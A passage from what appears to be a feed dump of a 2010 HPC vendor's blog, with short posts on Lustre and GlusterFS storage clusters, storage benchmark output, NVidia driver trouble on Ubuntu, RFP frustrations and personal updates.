was that they got their replacement part more than a month late. For an enterprise shop. This was IMO unacceptable. https://blog.scalability.org/2010/06/going-to-need-to-write-up-a-site-preparation-sheet/ Sat, 05 Jun 2010 19:51:01 +0000 https://blog.scalability.org/2010/06/going-to-need-to-write-up-a-site-preparation-sheet/ … that covers some basic things. Like cooling, power, IPMI, … We’ve seen a common thread throughout a number of data centers recently, where we’ve placed a machine. Occasionally, the airflow will be too low or, following the fads as of late, too warm, to be effective at cooling a high performance machine. More to the point, its great when your density per rack U is not that high to have warmer air or less air flow going. https://blog.scalability.org/2010/06/this-wouldnt-surprise-me-if-true/ Tue, 01 Jun 2010 08:07:21 +0000 https://blog.scalability.org/2010/06/this-wouldnt-surprise-me-if-true/ Financial Times reports Google is restricting Windows deployments for security reasons. We do still run windows, but mostly in VMs at this point. Frankly, this is one of the very few ways we know that we can be safe in using Windows. We can recover from the nearly inevitable viri/trojans quickly. In part by not letting Windows touch the silicon directly. We can bottle it up, put hard restrictions on it, and if it gets infected, revert very quickly to a previous non-infected variant. https://blog.scalability.org/2010/05/sicluster-attached-to-77-on-top500-list/ Mon, 31 May 2010 21:24:27 +0000 https://blog.scalability.org/2010/05/sicluster-attached-to-77-on-top500-list/ Our siCluster storage cluster, currently running Lustre 1.8.2 on Centos 5.4 is attached to the #77 system on the top500 supercomputer list https://blog.scalability.org/2010/05/so-what-do-you-do-when-a-former-customer-builds-a-poor-copy-of-your-design/ Mon, 31 May 2010 21:14:05 +0000 https://blog.scalability.org/2010/05/so-what-do-you-do-when-a-former-customer-builds-a-poor-copy-of-your-design/ Gotta laugh a little. Feel bad for them, they don’t quite know all the ins and outs of what they are getting into. And thats fine. Nothing quite like jumping into it with both feet and hoping you can stay afloat. More power to them. I hope they survive this choice, though the last folks that did that to us didn’t last a year. https://blog.scalability.org/2010/05/capital-update/ Sat, 29 May 2010 14:11:10 +0000 https://blog.scalability.org/2010/05/capital-update/ Last year, we began working with a local group whose founder/president I had known for a few years previously. I won’t name them. We have a real need for capital. The company is self funded, and this means we fund all purchases out of our own pocket, or from our own lines of credit. And in some cases, being a small business, from my credit card (Lesson one in how to give a spouse a coronary: put a large purchase on a personal credit card … you know, 5 or more digits before the decimal point). https://blog.scalability.org/2010/05/maybe-i-need-to-move/ Sat, 29 May 2010 13:22:53 +0000 https://blog.scalability.org/2010/05/maybe-i-need-to-move/ Saw this post on /. and the article it linked to. In it, the authors discuss human capital, the density of “smart people” (which they define as those with baccalaureate and graduate degrees). Using their particular definition (I won’t say if I do or do not agree with it right now), Detroit area, where we are, is near the bottom of the long tail. I can say that the places they indicate at the top of the heap … SF, NYC, Minneapolis, Chicago, Seattle, Boston, Miami … all places I have spend time working in with customers and users … I’ve very much enjoyed my stay. https://blog.scalability.org/2010/05/been-very-busy/ Thu, 27 May 2010 13:57:36 +0000 https://blog.scalability.org/2010/05/been-very-busy/ … slow posting … will get back soon. https://blog.scalability.org/2010/05/ot-tournament-update/ Sun, 23 May 2010 13:48:31 +0000 https://blog.scalability.org/2010/05/ot-tournament-update/ So it was an experience getting back from Chicago to attend my tournament. But it was worth it. First the experience: Flight out was supposed to be at 4:40pm CST. Was delayed a little (airport was hectic), annoyed me a bit, as I had volunteered to help on the tournament setup, and I wound up missing this. Oh, and I left my ever-present bluetooth headset at the security checkpoint. More on that at the end. https://blog.scalability.org/2010/05/the-future-of-kernel-specific-version-subsystems/ Sun, 23 May 2010 12:56:15 +0000 https://blog.scalability.org/2010/05/the-future-of-kernel-specific-version-subsystems/ One of the issues we ran into with Lustre on our siCluster was the inability to use the kernel of our choice. Lustre is quite invasive in its patch sets. So modern kernels, ones with subsystem fixes, driver updates, and other things we need …. can’t necessarily host Lustre without some serious forward porting of the code base. And this got me thinking. This isn’t the only project tied to specific kernel versions, and effectively unable to use an arbitrary kernel version. https://blog.scalability.org/2010/05/this-conversation-its-just-so-enjoyable-i-must-have-it-again-no-really/ Wed, 19 May 2010 16:18:17 +0000 https://blog.scalability.org/2010/05/this-conversation-its-just-so-enjoyable-i-must-have-it-again-no-really/ Customer: We were told you make really fast tightly coupled storage and computing systems. Me (in my best Dr. Galakowicz voice): Yes, yes we do. They are fast. Really fast. Did I mention, they are fast? Customer: Thats great, ‘cause we need fast! Fast is really important to us. Fast is good. Really fast. Fast. … er … but we have a problem. Me: yes? Customer: er … we can only buy from vendor X … they won’t let us buy anything else Me: Even if you have a quantifiable business need, and your projects objectives wouldn’t be met by vendor X’s slow stuff, which represents an effective existential project risk? https://blog.scalability.org/2010/05/what-a-difference-a-distribution-makes-for-lustre/ Wed, 19 May 2010 11:07:13 +0000 https://blog.scalability.org/2010/05/what-a-difference-a-distribution-makes-for-lustre/ Lustre 1.8.2 on SuSE is IMO, broken. I am not sure if it is repairable. Most of my comments on the brittle nature of Lustre come from this. Reloading with Centos 5.4, we are rock solid stable. Its scary. I am not sure what the issue is, but I think all future Lustre deployments we are going to do will focus upon Centos 5.4. https://blog.scalability.org/2010/05/half-open-source-drivers/ Mon, 17 May 2010 01:14:08 +0000 https://blog.scalability.org/2010/05/half-open-source-drivers/ [Update] my apologies on the trackback/pingback spam. 33 of these. Given how people are attempting to influence Google et al.’s searching algorithm by initiating these pingbacks/trackbacks … This is what SEO buys us folks. It wastes our time and resources cleaning up after it, and it negatively impacts the quality of responses to queries. This is good … how? Trackbacks and pingbacks disabled for now. I’d posted about NVidia issues with Ubuntu 10. https://blog.scalability.org/2010/05/i-have-two-copies-of-this-in-softcover-now-its-digital-quite-nice/ Fri, 14 May 2010 14:12:00 +0000 https://blog.scalability.org/2010/05/i-have-two-copies-of-this-in-softcover-now-its-digital-quite-nice/ This. Maybe if I am lucky, I can get to play with these tools again. https://blog.scalability.org/2010/05/4-for-4-and-its-not-good/ Sun, 09 May 2010 12:03:02 +0000 https://blog.scalability.org/2010/05/4-for-4-and-its-not-good/ Ubuntu 10.04. 4 separate machines. All having some sort of nVidia card for CUDA/GPU work. All started from base desktop load. All, every single one of them, unable to update to CUDA enabled drivers. Or even to the Canonical hosted non-CUDA drivers. Get a black screen. On all 4 boxen. With vanilla loads. With very different motherboards. I appear to be in good company. Few people can get the NVidia drivers working. https://blog.scalability.org/2010/05/ever-have-one-of-those-days-2/ Wed, 05 May 2010 23:54:39 +0000 https://blog.scalability.org/2010/05/ever-have-one-of-those-days-2/ My wife consoles me with a yin-yang view. Hopefully some large amount of goodness is to occur soon. Ever have a day where you just can’t get ahead of the support queue … stuff keeps piling up. You run an errand and people call. You walk them through problems, and more call. For every one problem you fix, two new ones show up. Pretty soon, everyone is answering phones, and dealing with problems. https://blog.scalability.org/2010/04/a-very-poor-choice/ Wed, 28 Apr 2010 14:45:30 +0000 https://blog.scalability.org/2010/04/a-very-poor-choice/ Ubuntu 10.04 isn’t out yet. But will be soon. In it, there are some good things, some nice things. And an insanely poor choice. They are effectively preventing users with NVidia cards from using NVidia’s drivers. You have to go through some absolutely insane hoops to be able to use NVidia’s drivers. The Nouveau driver is incomplete, isn’t up to the performance on 3D graphics, nor the stability of the NVidia drivers. https://blog.scalability.org/2010/04/lustres-future-part-1-of-a-few/ Sat, 24 Apr 2010 13:43:11 +0000 https://blog.scalability.org/2010/04/lustres-future-part-1-of-a-few/ [update] Jeff said substantially the same thing last year. Go figure :O I haven’t written up my thoughts after seeing the slides, speaking with some of the support team, seeing John West and John Leidel’s discussion of Lustre 2.0 on InsideHPC … … but I need to. So here is the first (very brief) comment. Here are a set of slides (hat tip to Chris S) which neatly summarizes what we see customers thinking. https://blog.scalability.org/2010/04/now-2tb-sas-drives-are-within-10-the-price-of-2tb-sata-drives/ Sat, 24 Apr 2010 13:01:38 +0000 https://blog.scalability.org/2010/04/now-2tb-sas-drives-are-within-10-the-price-of-2tb-sata-drives/ (7200 RPM 3.5 inch) SAS has a few specific advantages over (7200 RPM 3.5 inch) SATA, not enough to justify a 50% premium for storage clusters and many storage apps. A 10%? Yeah, I think that could work. I’d like to build a few more of these. Definitely. https://blog.scalability.org/2010/04/color-me-impressed-2/ Fri, 23 Apr 2010 17:32:59 +0000 https://blog.scalability.org/2010/04/color-me-impressed-2/ GAMESS running on Magny Cours and Istanbul … I rebuilt them with OpenMPI 1.5 and 1.4.2. Running across 24 cores right now on each. They are running a test case now that, the previous fastest machine has been a Nehalem 3.2 GHz system. They are tearing up the track …. The sockets version isn’t as good as the MPI version. You will see/hear more about this soon, in another white paper. https://blog.scalability.org/2010/04/1-cad-is-now-greater-than-1-usd/ Fri, 23 Apr 2010 15:05:48 +0000 https://blog.scalability.org/2010/04/1-cad-is-now-greater-than-1-usd/ c.f. here Live rates at 2010.04.23 19:18:28 UTC 1.00 USD = 0.999750 CAD United States Dollars Canada Dollars 1 USD = 0.999750 CAD 1 CAD = 1.00025 USD Yeah, I know it fluctuates. Still, nice to have parity. https://blog.scalability.org/2010/04/new-magny-cours-istanbul-and-nehalem-blast-white-paper-is-up/ Thu, 22 Apr 2010 09:13:36 +0000 https://blog.scalability.org/2010/04/new-magny-cours-istanbul-and-nehalem-blast-white-paper-is-up/ Grab a copy from here. We have been playing with Magny Cours and Istanbul for a while, and will be generating a number of white papers around these efforts. Comparisons to Nehalem of similar clock speed, and if available, other units. Magny Cours is a very interesting chip. 12 processor cores in a single socket. This has some interesting implications for performance, and you have to pay attention to things you might not have thought you needed to before. https://blog.scalability.org/2010/04/what-if-your-state-is-hostile-to-your-business/ Tue, 20 Apr 2010 13:25:54 +0000 https://blog.scalability.org/2010/04/what-if-your-state-is-hostile-to-your-business/ Here in Michigan, we need to find something new to do. This economy is built upon manufacturing, which is rapidly fleeing for the lower cost regions of the world. It is a foundational and critical mistake to try to reverse this, as manufacturing will always seek the lowest costs … so unless you can provide them, you are going to lose this business eventually. Which means you shouldn’t invest tax dollars … my dollars … in helping such businesses “grow” here, as it inordinately transfers such tax burdens onto … wait for it … me and my fellow tax payers and small businesses. https://blog.scalability.org/2010/04/oh-yay-memory-and-disk-pricing-on-the-rise/ Mon, 19 Apr 2010 14:47:33 +0000 https://blog.scalability.org/2010/04/oh-yay-memory-and-disk-pricing-on-the-rise/ Up about 20% over the last month. Gotta love it. :( https://blog.scalability.org/2010/04/ok-hunkering-down-for-the-hard-work/ Fri, 16 Apr 2010 16:46:04 +0000 https://blog.scalability.org/2010/04/ok-hunkering-down-for-the-hard-work/ I have a white paper to get done by Sunday, an RFP response to get done by tomorrow, and a set of 3 quotes to do. Getting one done now, the rest are later tonight. No rest for the wicked. https://blog.scalability.org/2010/04/will-there-be-a-future-for-opensolaris/ Fri, 16 Apr 2010 16:00:14 +0000 https://blog.scalability.org/2010/04/will-there-be-a-future-for-opensolaris/ Saw this linked to from /. . Its pretty clear that Oracle is taking a deep, long, hard look at all projects within Sun, figuring out what to keep, and what to abandon. Things which have no hope of revenue generation, or driving business in general are not likely long for this world. This brings us to OpenSolaris. This is the “open source” version of Solaris. I put it in quotes, as it may technically be an open source license in some manner of speaking, but it is fundamentally incompatible with GPL, with Artistic, with … you name it. https://blog.scalability.org/2010/04/day-job-has-an-opening/ Fri, 16 Apr 2010 00:50:34 +0000 https://blog.scalability.org/2010/04/day-job-has-an-opening/ We need a systems support engineer. Have a look at our career page for more info. https://blog.scalability.org/2010/04/and-this-is-the-low-performance-box/ Thu, 15 Apr 2010 23:07:58 +0000 https://blog.scalability.org/2010/04/and-this-is-the-low-performance-box/ more benchmark pr0n for an early spring evening. This is the day jobs’s slower storage target forcost optimized storage functions. root@dv4:~# dd if=/dev/zero of=/data/big.file ... 4096+0 records in 4096+0 records out 68719476736 bytes (69 GB) copied, 155.851 s, 441 MB/s root@dv4:~# dd of=/dev/null if=/data/big.file ... 4096+0 records in 4096+0 records out 68719476736 bytes (69 GB) copied, 72.2219 s, 952 MB/s https://blog.scalability.org/2010/04/wow-just-updated-my-windows-7-vm-and-now-it-wont-boot/ Thu, 15 Apr 2010 19:32:05 +0000 https://blog.scalability.org/2010/04/wow-just-updated-my-windows-7-vm-and-now-it-wont-boot/ I had heard that there were some … er … issues with latest round of Microsoft patches. I think I have a backup of this VM, so I can roll back the changes. Sheesh. And yes, bringing up repair does in fact hang it hard. [sigh] https://blog.scalability.org/2010/04/what-if-the-putative-smoking-gun-wasnt-i-dunno-a-smoking-gun/ Thu, 15 Apr 2010 17:41:21 +0000 https://blog.scalability.org/2010/04/what-if-the-putative-smoking-gun-wasnt-i-dunno-a-smoking-gun/ This is ridiculous. They rely upon statistical methods, and misuse them to create a smoking gun, are called to the mat on it, and then … erm … if you use incorrect methods of analyzing your data, ones which admit biases and errors, its rather hard … no … fundamentally impossible … to make a reasonably valid claim that the “underlying data” (which you analyzed incorrectly) actually supports the conclusions which you reached. https://blog.scalability.org/2010/04/ot-back-to-almost-normal/ Wed, 14 Apr 2010 16:59:17 +0000 https://blog.scalability.org/2010/04/ot-back-to-almost-normal/ Stent is out, kidney stones should be gone (modulo lithotripsy). Anesthetic really took it out of me on Monday, and I’d argue, on Tuesday. Happily, after Monday night, I was off of pain meds. I don’t like stuff that messes with my head, and what they gave me definitely messed with my head. I had to restrain myself from letting my internal dialog get out on more than one occasion. Less of a truth drug, more of an incomplete thought drug. https://blog.scalability.org/2010/04/delivered-two-clusters-last-week/ Sun, 11 Apr 2010 16:55:45 +0000 https://blog.scalability.org/2010/04/delivered-two-clusters-last-week/ one siCluster, one specialty computing system. Added 1/8th of a PetaByte to our shipped storage. I do apologize, we’ve been busy. And, by all indications, we haven’t seen nuthin yet. Lots of business queued up for Q2, including several siClusters, several specialist computing clusters, and a number of deskside supers in the CX1 and Pegasus flavors. This doesn’t include the various Delta-V’s, JackRabbits, and other bits we have been shipping. Customers in many different fields, over fairly wide geographies. https://blog.scalability.org/2010/04/i-guess-this-means-that-it-is-ending-15-years-early/ Mon, 05 Apr 2010 17:39:15 +0000 https://blog.scalability.org/2010/04/i-guess-this-means-that-it-is-ending-15-years-early/ From this article one gets the impression that Windows will not be supporting Itanium anymore. Way back during the initial marketing onslaught of Itanium, it was said to be the architecture for the next 25 years for Intel. That was a decade ago. It seems to be losing software support fairly rapidly though. Its hard to see this lasting another 15 years … let alone 5 years. Linux still has Itanium support for now, but fewer users of it are out there. https://blog.scalability.org/2010/04/rethinking-how-we-build-and-invest-in-partnerships/ Sat, 03 Apr 2010 22:33:34 +0000 https://blog.scalability.org/2010/04/rethinking-how-we-build-and-invest-in-partnerships/ One of the things smaller companies want to do is to build alliances that are mutually beneficial … be they reseller relationships, or partnerships where the sum of the two partners offerings provides significant tangible benefits for customers. Enhance offerings, provide more value to customers. These need to be two way streets … they can’t be a one way flow, if they are to have real value. We’ve built some partnerships over the past few years, some very good, some, not as good, that have ranged between one way “tell us what you will do for us” scenarios, to what we thought were bilateral efforts at promoting mutual business. https://blog.scalability.org/2010/04/cluster-file-systems-views/ Sat, 03 Apr 2010 21:19:30 +0000 https://blog.scalability.org/2010/04/cluster-file-systems-views/ We’ve had a chance to do a compare/contrast in recent months between GlusterFS and Lustre. Way back in the 1.4 Lustre time period, we helped a customer get up and going with it. I seem to remember thinking that this was simply not something I felt comfortable leaving at a customer site without a dedicated file system engineer monitoring it/dealing with it 24x7. Seriously, it needed lots of hand-holding then. Have a recent 1. https://blog.scalability.org/2010/04/did-distributed-memory-really-win/ Thu, 01 Apr 2010 23:04:03 +0000 https://blog.scalability.org/2010/04/did-distributed-memory-really-win/ About a decade or more ago, there was a “fight” if you will, for the future of high performance computing systems application level programming interfaces. This fight was between proponents of SMP and shared memory systems in general, and DMP shared-nothing approaches. In the ensuing years, several important items influenced the trajectory of application development. Shared memory models are generally easier to program. That is, it’s not hard to create something that operates reasonably well in parallel. https://blog.scalability.org/2010/03/brittle-systems/ Thu, 01 Apr 2010 03:24:43 +0000 https://blog.scalability.org/2010/03/brittle-systems/ Years ago, we helped a customer set up a Lustre 1.4.x system. This was … well … fun. And not in a good way. Right before the 1.6 transition, we had all sorts of problems. We skipped 1.6, and now we have set up a Lustre 1.8.2 system, and have several on quote now for various RFPs. From our experience with the 1.8.2 system … I have to say, I have a sense that it is brittle. https://blog.scalability.org/2010/03/imagine-trying-to-get-something-as-simple-as-a-quote-for-lustre-support/ Thu, 01 Apr 2010 01:53:43 +0000 https://blog.scalability.org/2010/03/imagine-trying-to-get-something-as-simple-as-a-quote-for-lustre-support/ … and not being able to. Seems most of the folks at Sun/Oracle haven’t heard of Lustre. I had to explain it to them on several calls yesterday. They didn’t understand why someone would want to pay for support of a GPL licensed system … er … ah … mebbe we found some real nice gotchas, and want to get Sun to work on them, and give us a hand in ameliorating them? https://blog.scalability.org/2010/03/now-opensolaris-future-in-doubt/ Wed, 31 Mar 2010 11:16:33 +0000 https://blog.scalability.org/2010/03/now-opensolaris-future-in-doubt/ Sun/Oracle has decided to change strategy around Solaris. What does this do for Nexenta and others, with business dependencies upon OpenSolaris? We looked to OpenSolaris for a more up-to-date, less buggy Solaris. We are looking at this for one of our siCluster offerings … this might have to change now. Makes sense from an Oracle perspective though. https://blog.scalability.org/2010/03/the-fat-ladys-song-is-now-over-and-the-curtain-is-falling/ Tue, 30 Mar 2010 22:49:50 +0000 https://blog.scalability.org/2010/03/the-fat-ladys-song-is-now-over-and-the-curtain-is-falling/ SCO lost. As I had said to some local colleagues who were (for reasons I could not grasp) swayed by SCO’s arguments, this would not end well for SCO. And it didn’t. The game is effectively over. Its time to wind down SCO as an entity in an orderly manner, to distribute the remaining value to those that SCO owes money to. https://blog.scalability.org/2010/03/this-could-be-huge-and-disruptive/ Mon, 29 Mar 2010 23:26:11 +0000 https://blog.scalability.org/2010/03/this-could-be-huge-and-disruptive/ ACLU seems to have taken down the BRCA gene patent from Myriad Genetics. This could actually change a chunk of the drug development business model. I am not sure if this is a good thing (the business model change), though I also didn’t think that one could patent what is effectively naturally generated prior art. Patents are about reducing theory to practice, and then providing a temporary monopoly on the use of that reduction to practice. https://blog.scalability.org/2010/03/the-evolution-of-the-data-center/ Sun, 28 Mar 2010 20:59:01 +0000 https://blog.scalability.org/2010/03/the-evolution-of-the-data-center/ Way back in the day, data centers used to be cold. Cold air came in, and usually in hot-aisle/cold-aisle configs, left through the back. Power per rack was measured in a few thousand watts. Cooling per rack could be mebbe one ton of AC. Up to two in the worst case. Then stuff got denser. Somewhere along the line someone decided they could run their stuff at higher temperatures. This works fine for machines that are actually mostly open space (blades, sparsely populated server systems, …). https://blog.scalability.org/2010/03/there-iswas-a-name-for-my-pain/ Sun, 28 Mar 2010 20:47:49 +0000 https://blog.scalability.org/2010/03/there-iswas-a-name-for-my-pain/ … yeah, the kidney stone saga continues. Had a basket extraction Wednesday, fine most of Thursday till evening, then Friday morning, they decided to remind me who was boss. Off the the ER I went, in terrible pain. Kidney stones are not life threatening, though there are times you wish death was less painful. Well, now one of 3 has been removed (second extraction), other 2 will be blown up soon. https://blog.scalability.org/2010/03/dont-share-anything-important-or-of-value-via-linkedin-they-will-own-it/ Sun, 28 Mar 2010 15:48:51 +0000 https://blog.scalability.org/2010/03/dont-share-anything-important-or-of-value-via-linkedin-they-will-own-it/ [update] trackbacks/pingbacks temporarily disabled. Waaay too much spam. Seriously. From their updated user agreement: They own you … or at least anything you say or can be linked to you saying. https://blog.scalability.org/2010/03/on-the-test-track-with-a-new-rev-jr4/ Thu, 25 Mar 2010 14:27:17 +0000 https://blog.scalability.org/2010/03/on-the-test-track-with-a-new-rev-jr4/ Finishing a siCluster build for a customer. We need to see what we can do here. On the test track, and opening up the throttle wide. [root@<a href="http://scalableinformatics.com/jackrabbit">jr4</a>-1 burn-in]# fio sw.fio write: io=97,808MB, bw=1,501MB/s, iops=188, runt= 65183msec ... Run status group 0 (all jobs): WRITE: io=97,808MB, aggrb=1,501MB/s, minb=1,537MB/s, maxb=1,537MB/s, mint=65183msec, maxt=65183msec [root@jr4-1 burn-in]# fio sr.fio ... read : io=97,808MB, bw=1,975MB/s, iops=248, runt= 49521msec Run status group 0 (all jobs): READ: io=97,808MB, aggrb=1,975MB/s, minb=2,022MB/s, maxb=2,022MB/s, mint=49521msec, maxt=49521msec Thats nice … https://blog.scalability.org/2010/03/fixed-up-some-of-the-sicluster-tools/ Sat, 20 Mar 2010 23:41:16 +0000 https://blog.scalability.org/2010/03/fixed-up-some-of-the-sicluster-tools/ Well … more correctly, fixed the data model to be saner, so that the tools would be easier to develop and use. Still a few more things to do, and one (simple) presentation abstraction to set up. The gist of it is that (apart from the automatically added nodes), adding nodes by hand should be easy. This also means by XML (not done yet, but I know how to do this), and web (basically XML or CGI like devices). https://blog.scalability.org/2010/03/ceph-client-made-it-in-to-2-6-34/ Sat, 20 Mar 2010 00:06:49 +0000 https://blog.scalability.org/2010/03/ceph-client-made-it-in-to-2-6-34/ I’ve pointed to Ceph before. It is an object storage file system, with lots of very nice features, current and planned. As a cluster file system, it has much going for it. Combined with btrfs, and a few other things, this could be a very exciting development. This is a good thing. Stay tuned for more. We’ll have some basic testing up in a while. We’ll start at 2.6.34 to use the merged bits. https://blog.scalability.org/2010/03/addison-snells-hpc-trends-interesting-things-and-a-few-comments-we-take-issue-with/ Fri, 19 Mar 2010 13:33:42 +0000 https://blog.scalability.org/2010/03/addison-snells-hpc-trends-interesting-things-and-a-few-comments-we-take-issue-with/ I found the article on InsideHPC about Addison’s presentation quite useful. The presentation is available from the link above. Some points he made, I’d like to take issue with. Specifically, page 9, he notes that Windows HPC is “still coming”. I am not too sure of this. I think it has been a multi-year, almost half decade experiment, that at some point, needs to show that its revenue is greater than the cost of that revenue. https://blog.scalability.org/2010/03/as-the-market-changes/ Thu, 18 Mar 2010 23:42:46 +0000 https://blog.scalability.org/2010/03/as-the-market-changes/ I’ve argued for a while that accelerators are going to be a creative and destructive force in HPC. They profoundly change the cost per cycle landscape, as well as the number of cycles per unit time. I’ve pointed out here that despite some misunderstanding of transformative technological trends, that better cheaper faster is one of the most important driving forces in HPC. It is a viable business model if you can figure out how to get the appropriate traction, and its very hard for larger organizations to adequately respond. https://blog.scalability.org/2010/03/a-good-read-from-glen-at-dell/ Thu, 18 Mar 2010 22:16:05 +0000 https://blog.scalability.org/2010/03/a-good-read-from-glen-at-dell/ For those who don’t know Dr. Glen Otero, he has been a tireless advocate for all things HPC in Life sciences. His background is in computational immunology. Great to work with. He has an article on the Dell Tech Center (yeah, I know, I need to update the blogroll, I’ll do it this weekend) on a “controversy” thats been finding fertile ground in the conspiracy theory amplifying interwebs. I highly recommend this article. https://blog.scalability.org/2010/03/hmmm-looks-like-some-of-these-hinted-results-were-run-on-our-sicluster/ Mon, 15 Mar 2010 16:00:25 +0000 https://blog.scalability.org/2010/03/hmmm-looks-like-some-of-these-hinted-results-were-run-on-our-sicluster/ see this link for more. Specifically the mention of Yeah … definitely a siCluster benchmark. Its a shame we weren’t asked for help promoting this. We have quite a few nice results with this system. The benchmarks for end user accessable streaming performance are hard for many folks to believe. You should hear some of the comments we get, such as “there is no way you can achieve these results with your setup. https://blog.scalability.org/2010/03/new-file-systems-worth-watching/ Sun, 14 Mar 2010 13:34:31 +0000 https://blog.scalability.org/2010/03/new-file-systems-worth-watching/ The day job currently has siClusters in the field with GlusterFS, Lustre, and a few other “older” parallel file systems. GlusterFS is a distributed file system with a very interesting and powerful design concept. It is under active development by a venture backed company, Gluster, Inc. I can’t say enough good things about it, and the company behind it. The day job is in a relationship with them, so you may take this information for what its worth, and weight it accordingly. https://blog.scalability.org/2010/03/ot-kidney-stones-are-not-fun/ Fri, 12 Mar 2010 15:29:07 +0000 https://blog.scalability.org/2010/03/ot-kidney-stones-are-not-fun/ Thats how I am spending my Friday. Oh happy happy joy joy https://blog.scalability.org/2010/03/second-sicluster-sold-and-being-built-thid-hopefully-on-its-way-to-being-ordered/ Fri, 12 Mar 2010 15:26:19 +0000 https://blog.scalability.org/2010/03/second-sicluster-sold-and-being-built-thid-hopefully-on-its-way-to-being-ordered/ [one must not post when on pain medication … nope, bad idea] somewhat exceeding our targets for Q1 on these units. I had hoped to have had an additional sales resource online by now, but the person I wanted to hire chose a different path. More power to him. Will continue to look for the right person (here in Michigan). First siCluster in Texas. University deal, GlusterFS atop it. Several more deals we are working on as well. https://blog.scalability.org/2010/03/sale-announcement-coming-for-day-job-soon/ Tue, 09 Mar 2010 10:18:07 +0000 https://blog.scalability.org/2010/03/sale-announcement-coming-for-day-job-soon/ We are working on the text of this, but it is for organizations within the state of Michigan. We like our state, and we are going to give an extra discount for credit card/cash purchases over the next few months. Details to emerge. If there is interest outside of the state of Michigan, please reply below. The day job has some of the highest performing, and most reasonably priced storage available in the market today. https://blog.scalability.org/2010/03/compute-safely-attacks-on-the-rise/ Tue, 09 Mar 2010 09:36:38 +0000 https://blog.scalability.org/2010/03/compute-safely-attacks-on-the-rise/ Going this morning to a customer who had a set of systems compromised. It appears that a windows trojan did some keylogging, and someone logged in, as root, from the compromised machine. Whoops. Folks, stay safe. Don’t use passwords for ssh. Use keys. And, bluntly, seriously reconsider running any windows machine anywhere near a server/HPC resource. Our efforts to help fix their problem are going to cost this customer thousands of dollars and lots of our time. https://blog.scalability.org/2010/03/update-on-the-rfp-bit-from-before/ Tue, 09 Mar 2010 09:29:23 +0000 https://blog.scalability.org/2010/03/update-on-the-rfp-bit-from-before/ We had been considered sending in an RFP response to a customer for a system. Long past history with this customer suggests that they are basically interested in validation and consulting from us, never really interested in purchasing from us. This is unfortunate, as we are Michigan’s only local HPC company, and they are a university in the state of Michigan purchasing HPC gear. It makes it look good for them with their higher ups to include us, even if they never award us any business. https://blog.scalability.org/2010/03/intel-success-story-is-up/ Mon, 08 Mar 2010 17:31:05 +0000 https://blog.scalability.org/2010/03/intel-success-story-is-up/ see here. It looks like they largely ignored my edits, so some of the numbers which I fixed several times aren’t fixed in the final. Also, I don’t have the slightest clue who that person is on the document. Not a clue. Has no relation to Scalable Informatics. https://blog.scalability.org/2010/03/must-remember-most-installation-tools-arent-that-good/ Wed, 03 Mar 2010 16:58:07 +0000 https://blog.scalability.org/2010/03/must-remember-most-installation-tools-arent-that-good/ Autoyast, kickstart, … All of them suffer from the “hey lets do it all for you”. Don’t get lured into this. Assume they are singing a siren’s song. I’ll argue that autoyast is lightyears ahead of anaconda by virtue of it not ^&$^*&) forcing you to reboot the machine in the event of a control file error, you can recover. But the point I need to stress, despite (likely) vehement protests to the contrary … One should spend as little time as possible inside distro configurators, and push as much of this work to outside tools as possible. https://blog.scalability.org/2010/03/ot-looks-like-the-uk-physics-community-shares-similar-thoughts/ Mon, 01 Mar 2010 23:07:31 +0000 https://blog.scalability.org/2010/03/ot-looks-like-the-uk-physics-community-shares-similar-thoughts/ Coming from the Register … Yeah … leave it to folks in the UK to say it with far more eloquence than I can. But there is more. Oh … much more … Imagine if you have to tell the people giving you money to lend credence to their policy, to provide a sound theoretical and evidentiary basis for the policy … that there are at minimum, nagging doubts, and at maximum, the policy is based upon weak or incorrect science … imagine telling these people that they are wrong. https://blog.scalability.org/2010/02/brief-note-and-comic-on-settled-science/ Sun, 28 Feb 2010 13:06:36 +0000 https://blog.scalability.org/2010/02/brief-note-and-comic-on-settled-science/ A tactic used by advocates of a particular viewpoint on anthropogenic global warming (e.g. we humans caused warming on our planet) is to make the claim that the science is “settled”. I covered this before. Specifically I pointed out that science is never … ever “settled”. In fact, the very fundamental aspect of what makes science a profoundly useful to humanity, is that it questions and is free to question everything. https://blog.scalability.org/2010/02/we-blowed-up-da-router/ Sat, 27 Feb 2010 18:37:43 +0000 https://blog.scalability.org/2010/02/we-blowed-up-da-router/ At the day job. Ok, not a complete blow up … but it lost all of its config for 2 hours. Its an appliance router, and about 4 years old. Starting to show its age. I have a “spare” (as in unused) motherboard/RAM combo, with 4x Intel GbE ports (2x PCI-x cards) that looks like its going to take its place. Just deciding upon the distro to do this. Looking at endian, clearos, and a few others. https://blog.scalability.org/2010/02/sles-11-does-not-correctly-support-software-raid1-for-boot-disk/ Sat, 27 Feb 2010 04:31:27 +0000 https://blog.scalability.org/2010/02/sles-11-does-not-correctly-support-software-raid1-for-boot-disk/ I’ve been chasing down a problem for a few days on a SLES 11 load. I’ve tried basic mdadm as well as the “Intel RAID”. Modified some of the mkinitrd scripts so that it doesn’t error out, and actually builds the initrd. But it never includes the mdadm or the /etc/mdadm.conf files. So the boot with the new initrd can’t assemble the raid correctly, and can’t do a correct switchroot to the raid device. https://blog.scalability.org/2010/02/a-tale-of-an-rfp-gone-wrong/ Sat, 27 Feb 2010 01:18:06 +0000 https://blog.scalability.org/2010/02/a-tale-of-an-rfp-gone-wrong/ … sadly this appears to be true. Specifications were given, and we met the requirements, which entailed a demonstration of a particular level of performance over NFS. In case you aren’t sure, we demonstrated a sustained 1GB/s over NFS between 2 boxes over 10GbE last year. There aren’t too many companies that can do this. Our results were with RAID6 storage target, and an NFS client with small RAM size. Total read and write size each was much larger than either system memory. https://blog.scalability.org/2010/02/on-the-difference-between-marketing-numbers-and-measured-numbers/ Sat, 27 Feb 2010 01:07:15 +0000 https://blog.scalability.org/2010/02/on-the-difference-between-marketing-numbers-and-measured-numbers/ I should define what I mean by marketing numbers. These are best effort benchmarking numbers assuming the best of all possible test cases, with equipment functioning solely for the benchmark test purposes. These are not benchmark results you will normally achieve in practice. They represent an extrema in performance. Measured benchmark numbers are sensitive to many factors. You need to perform several tests, make sure you can construct an “average” and make an assumption about the shape of the distribution around that average. https://blog.scalability.org/2010/02/when-specifications-dont-matter-on-rfps/ Fri, 26 Feb 2010 15:56:43 +0000 https://blog.scalability.org/2010/02/when-specifications-dont-matter-on-rfps/ I’d mentioned this before in other contexts. But we just had an opportunity to bid on something with a very high data rate requirement. We provided a bid with a measurement indicating our performance, knowing full well we were one of very few vendors capable of this sort of performance. Yet purchasing folks appear not to take the “required” specifications into consideration. I actually feel bad for the user who is going to get a box that won’t be able to meet their needs, 